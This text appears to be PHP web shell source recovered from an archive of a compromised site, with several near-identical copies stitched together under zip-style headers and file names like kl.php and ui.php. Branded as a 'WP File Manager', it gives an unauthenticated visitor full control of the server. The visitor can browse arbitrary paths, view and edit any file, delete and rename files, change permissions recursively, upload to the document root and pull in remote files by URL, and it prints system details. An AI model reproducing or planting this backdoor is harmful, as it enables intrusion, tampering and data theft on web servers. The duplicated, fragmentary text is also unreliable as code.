"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ëpartners@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ëpartners@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
